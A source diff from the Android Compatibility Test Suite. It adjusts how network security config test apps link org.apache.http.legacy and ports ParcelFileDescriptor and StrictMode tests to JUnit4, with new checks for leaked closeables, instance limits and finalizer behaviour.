--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
index 3f15f81..28bba5b 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
@@ -21,6 +21,7 @@
<application android:debuggable="false"
android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index be9174e..d808928 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
index 6d98702..b667271 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
@@ -21,6 +21,7 @@
<application android:debuggable="true"
android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 84e72b0..54727c6 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -22,10 +22,11 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
- org.apache.http.legacy \
android-support-test \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
index e18ff4d..cc67cca 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index 4764cab..3d66c53 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
index b3b32b5..bf6e369 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigInvalidPinTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index 5448f34..e96ae6a 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
index 1790150..75247d3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigNestedDomainConfigTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index 924f393..4e7efdeb 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -22,10 +22,11 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
- org.apache.http.legacy \
android-support-test \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
index 46787160..4884458 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigResourcesSrcTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index 4225de0..24b0f6a 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -191,7 +191,7 @@
"EGL_KHR_wait_sync",
};
- for (int i = 0; i < requiredList.length; ++i) {
+ for (int i = 0; i < requiredEglList.length; ++i) {
assertTrue("Required EGL extension for VR high-performance is missing: " +
requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 1aa46cc..d826a72 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -28,6 +28,7 @@
android-support-test \
compatibility-device-util \
ctstestrunner \
+ truth-prebuilt \
guava \
junit \
legacy-android-test
diff --git a/tests/tests/os/src/android/os/cts/CtsRemoteService.java b/tests/tests/os/src/android/os/cts/CtsRemoteService.java
index daae49e..a0d5974 100644
--- a/tests/tests/os/src/android/os/cts/CtsRemoteService.java
+++ b/tests/tests/os/src/android/os/cts/CtsRemoteService.java
@@ -20,8 +20,10 @@
import android.content.Intent;
import android.os.IBinder;
import android.os.Process;
+import java.io.File;
+import java.io.IOException;
-public class CtsRemoteService extends Service{
+public class CtsRemoteService extends Service {
@Override
public void onCreate() {
@@ -41,6 +43,15 @@
public String getTimeZoneID() {
return java.util.TimeZone.getDefault().getID();
}
+
+ public boolean performDiskWrite() {
+ try {
+ File tempFile = File.createTempFile("foo", "bar");
+ return tempFile.delete();
+ } catch (IOException exception) {
+ return false;
+ }
+ }
};
@Override
@@ -50,5 +61,4 @@
}
return null;
}
-
}
diff --git a/tests/tests/os/src/android/os/cts/ISecondary.aidl b/tests/tests/os/src/android/os/cts/ISecondary.aidl
index 2c60149..183e2d5 100644
--- a/tests/tests/os/src/android/os/cts/ISecondary.aidl
+++ b/tests/tests/os/src/android/os/cts/ISecondary.aidl
@@ -23,4 +23,6 @@
long getElapsedCpuTime();
String getTimeZoneID();
+
+ boolean performDiskWrite();
}
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 4679a99..38651d7 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -16,6 +16,13 @@
package android.os.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
@@ -24,13 +31,20 @@
import android.os.ParcelFileDescriptor.AutoCloseInputStream;
import android.os.Parcelable;
import android.os.cts.ParcelFileDescriptorPeer.FutureCloseListener;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
import android.test.MoreAsserts;
import com.google.common.util.concurrent.AbstractFuture;
import junit.framework.ComparisonFailure;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileInputStream;
@@ -43,9 +57,15 @@
import java.net.Socket;
import java.util.concurrent.TimeUnit;
-public class ParcelFileDescriptorTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ParcelFileDescriptorTest {
private static final long DURATION = 100l;
+ private Context getContext() {
+ return InstrumentationRegistry.getContext();
+ }
+
+ @Test
public void testConstructorAndOpen() throws Exception {
ParcelFileDescriptor tempFile = makeParcelFileDescriptor(getContext());
@@ -73,6 +93,7 @@
}
}
+ @Test
public void testFromSocket() throws Throwable {
final int PORT = 12222;
final int DATA = 1;
@@ -111,6 +132,7 @@
done.get(5, TimeUnit.SECONDS);
}
+ @Test
public void testFromData() throws IOException {
assertNull(ParcelFileDescriptor.fromData(null, null));
byte[] data = new byte[] { 0 };
@@ -143,6 +165,7 @@
}
}
+ @Test
public void testFromDataSkip() throws IOException {
byte[] data = new byte[] { 40, 41, 42, 43, 44, 45, 46 };
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromData(data, null);
@@ -164,11 +187,13 @@
}
}
+ @Test
public void testToString() {
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
assertNotNull(pfd.toString());
}
+ @Test
public void testWriteToParcel() throws Exception {
ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
@@ -188,6 +213,7 @@
}
}
+ @Test
public void testClose() throws Exception {
ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
AutoCloseInputStream in1 = new AutoCloseInputStream(pf);
@@ -210,11 +236,13 @@
}
}
+ @Test
public void testGetStatSize() throws Exception {
ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
assertTrue(pf.getStatSize() >= 0);
}
+ @Test
public void testGetFileDescriptor() {
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
assertNotNull(pfd.getFileDescriptor());
@@ -223,6 +251,7 @@
assertSame(pfd.getFileDescriptor(), p.getFileDescriptor());
}
+ @Test
public void testDescribeContents() {
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
assertTrue((Parcelable.CONTENTS_FILE_DESCRIPTOR & pfd.describeContents()) != 0);
@@ -247,6 +276,7 @@
return new FileInputStream(pfd.getFileDescriptor()).read();
}
+ @Test
public void testPipeNormal() throws Exception {
final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
final ParcelFileDescriptor red = pipe[0];
@@ -262,6 +292,7 @@
// Reading should be done via AutoCloseInputStream if possible, rather than
// recreating a FileInputStream from a raw FD, what's done in read(PFD).
+ @Test
public void testPipeError_Discouraged() throws Exception {
final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
final ParcelFileDescriptor red = pipe[0];
@@ -281,6 +312,7 @@
}
}
+ @Test
public void testPipeError() throws Exception {
final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
final ParcelFileDescriptor red = pipe[0];
@@ -298,6 +330,7 @@
}
}
+ @Test
public void testFileNormal() throws Exception {
final Handler handler = new Handler(Looper.getMainLooper());
final FutureCloseListener listener = new FutureCloseListener();
@@ -312,6 +345,7 @@
assertEquals(null, listener.get());
}
+ @Test
public void testFileError() throws Exception {
final Handler handler = new Handler(Looper.getMainLooper());
final FutureCloseListener listener = new FutureCloseListener();
@@ -326,6 +360,7 @@
assertContains("OMG BANANAS", listener.get().getMessage());
}
+ @Test
public void testFileDetach() throws Exception {
final Handler handler = new Handler(Looper.getMainLooper());
final FutureCloseListener listener = new FutureCloseListener();
@@ -339,6 +374,7 @@
assertContains("DETACHED", listener.get().getMessage());
}
+ @Test
public void testSocketErrorAfterClose() throws Exception {
final ParcelFileDescriptor[] pair = ParcelFileDescriptor.createReliableSocketPair();
final ParcelFileDescriptor red = pair[0];
@@ -361,6 +397,7 @@
blue.checkError();
}
+ @Test
public void testSocketMultipleCheck() throws Exception {
final ParcelFileDescriptor[] pair = ParcelFileDescriptor.createReliableSocketPair();
final ParcelFileDescriptor red = pair[0];
@@ -382,6 +419,7 @@
}
// http://b/21578056
+ @Test
public void testFileNamesWithNonBmpChars() throws Exception {
final File file = File.createTempFile("treble_clef_\ud834\udd1e", ".tmp");
final ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
@@ -390,6 +428,57 @@
pfd.close();
}
+ @Test
+ public void testCheckFinalizerBehavior() throws Exception {
+ final Runtime runtime = Runtime.getRuntime();
+ ParcelFileDescriptor pfd = makeParcelFileDescriptor(getContext());
+ assertTrue(checkIsValid(pfd.getFileDescriptor()));
+
+ ParcelFileDescriptor wrappedPfd = new ParcelFileDescriptor(pfd);
+ assertTrue(checkIsValid(wrappedPfd.getFileDescriptor()));
+
+ FileDescriptor fd = pfd.getFileDescriptor();
+ int rawFd = pfd.getFd();
+ pfd = null;
+ assertNull(pfd); // To keep tools happy - yes we are using the write to null
+ runtime.gc(); runtime.runFinalization();
+ assertTrue("Wrapped PFD failed to hold reference",
+ checkIsValid(wrappedPfd.getFileDescriptor()));
+ assertTrue("FileDescriptor failed to hold reference", checkIsValid(fd));
+
+ wrappedPfd = null;
+ assertNull(wrappedPfd); // To keep tools happy - yes we are using the write to null
+ runtime.gc(); runtime.runFinalization();
+ // TODO: Enable this once b/65027998 is fixed
+ //assertTrue("FileDescriptor failed to hold reference", checkIsValid(fd));
+
+ fd = null;
+ assertNull(fd); // To keep tools happy - yes we are using the write to null
+ runtime.gc(); runtime.runFinalization();
+
+ try {
+ ParcelFileDescriptor.fromFd(rawFd);
+ fail("FD leaked");
+ } catch (IOException ex) {
+ // Success
+ }
+ }
+
+ boolean checkIsValid(FileDescriptor fd) {
+ try {
+ Os.fstat(fd);
+ return true;
+ } catch (ErrnoException e) {
+ if (e.errno == OsConstants.EBADF) {
+ return false;
+ } else {
+ fail(e.getMessage());
+ // not reached
+ return false;
+ }
+ }
+ }
+
static ParcelFileDescriptor makeParcelFileDescriptor(Context con) throws Exception {
final String fileName = "testParcelFileDescriptor";
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 21730c6..7c0d320 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -16,340 +16,472 @@
package android.os.cts;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.ServiceConnection;
import android.content.pm.PackageManager;
import android.net.TrafficStats;
import android.net.Uri;
+import android.os.IBinder;
+import android.os.RemoteException;
import android.os.StrictMode;
-import android.os.StrictMode.ViolationListener;
+import android.os.StrictMode.ThreadPolicy.Builder;
+import android.os.StrictMode.ViolationInfo;
+import android.os.strictmode.UntaggedSocketViolation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.system.Os;
import android.system.OsConstants;
-import android.test.InstrumentationTestCase;
import android.util.Log;
-
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileInputStream;
+import java.io.FileNotFoundException;
import java.io.FileOutputStream;
+import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
-/**
- * Tests for {@link StrictMode}
- */
-public class StrictModeTest extends InstrumentationTestCase {
+/** Tests for {@link StrictMode} */
+@RunWith(AndroidJUnit4.class)
+public class StrictModeTest {
private static final String TAG = "StrictModeTest";
+ private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
private StrictMode.ThreadPolicy mThreadPolicy;
private StrictMode.VmPolicy mVmPolicy;
private Context getContext() {
- return getInstrumentation().getContext();
+ return InstrumentationRegistry.getContext();
}
- @Override
- protected void setUp() {
+ @Before
+ public void setUp() {
mThreadPolicy = StrictMode.getThreadPolicy();
mVmPolicy = StrictMode.getVmPolicy();
}
- @Override
- protected void tearDown() {
+ @After
+ public void tearDown() {
StrictMode.setThreadPolicy(mThreadPolicy);
StrictMode.setVmPolicy(mVmPolicy);
}
public interface ThrowingRunnable {
- public void run() throws Exception;
+ void run() throws Exception;
}
- /**
- * Insecure connection should be detected
- */
+ @Test
+ public void testUnclosedCloseable() throws Exception {
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectLeakedClosableObjects().build());
+
+ inspectViolation(
+ () -> leakCloseable("leaked.txt"),
+ info -> {
+ assertThat(info.getViolationDetails())
+ .isEqualTo(
+ "A resource was acquired at attached stack trace but never released. See java.io.Closeable for information on avoiding resource leaks.");
+ assertThat(info.getStackTrace())
+ .contains("Explicit termination method 'close' not called");
+ assertThat(info.getStackTrace()).contains("leakCloseable");
+ assertPolicy(info, StrictMode.DETECT_VM_CLOSABLE_LEAKS);
+ });
+ }
+
+ private void leakCloseable(String fileName) throws InterruptedException {
+ final CountDownLatch finalizedSignal = new CountDownLatch(1);
+ try {
+ new FileOutputStream(new File(getContext().getFilesDir(), fileName)) {
+ @Override
+ protected void finalize() throws IOException {
+ super.finalize();
+ finalizedSignal.countDown();
+ }
+ };
+ } catch (FileNotFoundException e) {
+ throw new RuntimeException(e);
+ }
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().runFinalization();
+ // Sometimes it needs extra prodding.
+ if (!finalizedSignal.await(5, TimeUnit.SECONDS)) {
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().runFinalization();
+ }
+ }
+
+ @Test
+ public void testClassInstanceLimit() throws Exception {
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder()
+ .setClassInstanceLimit(LimitedClass.class, 1)
+ .build());
+ List<LimitedClass> references = new ArrayList<>();
+ assertNoViolation(() -> references.add(new LimitedClass()));
+ references.add(new LimitedClass());
+ inspectViolation(
+ StrictMode::conditionallyCheckInstanceCounts,
+ info -> assertPolicy(info, StrictMode.DETECT_VM_INSTANCE_LEAKS));
+ }
+
+ private static final class LimitedClass {}
+
+ /** Insecure connection should be detected */
+ @Test
public void testCleartextNetwork() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testCleartextNetwork() ignored on device without Internet");
return;
}
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectCleartextNetwork()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectCleartextNetwork().penaltyLog().build());
- assertViolation("Detected cleartext network traffic from UID", () -> {
- ((HttpURLConnection) new URL("http://example.com/").openConnection())
- .getResponseCode();
- });
+ inspectViolation(
+ () ->
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode(),
+ info -> {
+ assertThat(info.getViolationDetails()).contains("example.com");
+ assertThat(info.getViolationDetails())
+ .startsWith(StrictMode.CLEARTEXT_DETECTED_MSG);
+ assertPolicy(info, StrictMode.DETECT_VM_CLEARTEXT_NETWORK);
+ });
}
- /**
- * Secure connection should be ignored
- */
+ /** Secure connection should be ignored */
+ @Test
public void testEncryptedNetwork() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testEncryptedNetwork() ignored on device without Internet");
return;
}
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectCleartextNetwork()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectCleartextNetwork().penaltyLog().build());
- assertNoViolation(() -> {
- ((HttpURLConnection) new URL("https://example.com/").openConnection())
- .getResponseCode();
- });
+ assertNoViolation(
+ () ->
+ ((HttpURLConnection) new URL("https://example.com/").openConnection())
+ .getResponseCode());
}
+ @Test
public void testFileUriExposure() throws Exception {
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectFileUriExposure()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectFileUriExposure().penaltyLog().build());
final Uri badUri = Uri.fromFile(new File("/sdcard/meow.jpg"));
- assertViolation(badUri + " exposed beyond app", () -> {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setDataAndType(badUri, "image/jpeg");
- getContext().startActivity(intent);
- });
+ inspectViolation(
+ () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(badUri, "image/jpeg");
+ getContext().startActivity(intent);
+ },
+ violation -> {
+ assertThat(violation.getStackTrace()).contains(badUri + " exposed beyond app");
+ });
final Uri goodUri = Uri.parse("content://com.example/foobar");
- assertNoViolation(() -> {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setDataAndType(goodUri, "image/jpeg");
- getContext().startActivity(intent);
- });
+ assertNoViolation(
+ () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(goodUri, "image/jpeg");
+ getContext().startActivity(intent);
+ });
}
+ @Test
public void testContentUriWithoutPermission() throws Exception {
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectContentUriWithoutPermission()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder()
+ .detectContentUriWithoutPermission()
+ .penaltyLog()
+ .build());
final Uri uri = Uri.parse("content://com.example/foobar");
- assertViolation(uri + " exposed beyond app", () -> {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setDataAndType(uri, "image/jpeg");
- getContext().startActivity(intent);
- });
+ inspectViolation(
+ () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(uri, "image/jpeg");
+ getContext().startActivity(intent);
+ },
+ violation ->
+ assertThat(violation.getStackTrace())
+ .contains(uri + " exposed beyond app"));
- assertNoViolation(() -> {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setDataAndType(uri, "image/jpeg");
- intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
- getContext().startActivity(intent);
- });
+ assertNoViolation(
+ () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(uri, "image/jpeg");
+ intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ getContext().startActivity(intent);
+ });
}
+ @Test
public void testUntaggedSocketsHttp() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
return;
}
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectUntaggedSockets()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectUntaggedSockets().penaltyLog().build());
- assertViolation("Untagged socket detected", () -> {
- ((HttpURLConnection) new URL("http://example.com/").openConnection())
- .getResponseCode();
- });
+ inspectViolation(
+ () ->
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode(),
+ violation ->
+ assertThat(violation.getStackTrace())
+ .contains(UntaggedSocketViolation.MESSAGE));
- assertNoViolation(() -> {
- TrafficStats.setThreadStatsTag(0xDECAFBAD);
- try {
- ((HttpURLConnection) new URL("http://example.com/").openConnection())
- .getResponseCode();
- } finally {
- TrafficStats.clearThreadStatsTag();
- }
- });
+ assertNoViolation(
+ () -> {
+ TrafficStats.setThreadStatsTag(0xDECAFBAD);
+ try {
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode();
+ } finally {
+ TrafficStats.clearThreadStatsTag();
+ }
+ });
}
+ @Test
public void testUntaggedSocketsRaw() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
return;
}
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectUntaggedSockets()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectUntaggedSockets().penaltyLog().build());
- assertNoViolation(() -> {
- TrafficStats.setThreadStatsTag(0xDECAFBAD);
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- } finally {
- TrafficStats.clearThreadStatsTag();
- }
- });
+ assertNoViolation(
+ () -> {
+ TrafficStats.setThreadStatsTag(0xDECAFBAD);
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ } finally {
+ TrafficStats.clearThreadStatsTag();
+ }
+ });
- assertViolation("Untagged socket detected", () -> {
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- }
- });
+ inspectViolation(
+ () -> {
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ }
+ },
